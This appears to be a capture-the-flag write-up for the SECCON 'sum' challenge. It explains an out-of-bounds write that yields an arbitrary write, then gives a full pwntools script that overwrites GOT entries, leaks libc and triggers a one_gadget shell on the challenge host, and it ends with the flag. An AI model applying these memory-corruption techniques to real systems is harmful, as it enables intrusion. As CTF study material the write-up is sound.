Rating: 5.0

There's a memory corruption vulnerability in `read_ints((char *)&a1, 5LL);`, second argument leads to an out-of-bounds inside `read_ints` smashing a pointer which is used for total sum of given input which leads to an arbitrary write primitive.
Exploitation approach is simple, overwrite .got.plt entry of `exit` with `_start` so you can write `n` arbitrary qword times. Once write primitive is leveraged get an info leak overwriting `setvbuf` .got.plt entry with `puts@plt+6` in `setup()` (which is in `_init_array` called by `__libc_csu_init` ), then trick `setvbuf` argument smashing `__bss_start` global with `alarm@.got.plt`. Last but not least trigger `one_gadget` with `__isoc99_scanf` .got.plt entry (no rop needed at all).

#!/usr/bin/env python
# coding: utf-8
from pwn import *

HOST = "sum.chal.seccon.jp"
PORT = 10001

elf = ELF("sum_ccafa40ee6a5a675341787636292bf3c84d17264", checksec=False)
libc = ELF("libc.so_18292bd12d37bfaf58e8dded9db7f1f5da1192cb", checksec=False)

context.log_level = "debug"
context.terminal = ["tmux", "sp", "-h"]

io = remote(HOST, PORT)

def write64(addr, value):
io.sendlineafter("2 3 4 0\n", "-%d -1 +1 -1 %d %d" % (addr, value+1, addr))

write64(elf.got["exit"], elf.sym["_start"])
write64(elf.got["setvbuf"], elf.plt["puts"]+10) # puts@plt+6
write64(elf.sym["__bss_start"], elf.got["alarm"])

libc.address = u64(io.recv(6).ljust(8, "\x00")) - libc.sym["alarm"]
log.success("glibc at %#x" % libc.address)

write64(elf.got["__isoc99_scanf"], libc.address + 0x4f322)

# SECCON{ret_call_call_ret??_ret_ret_ret........shell!}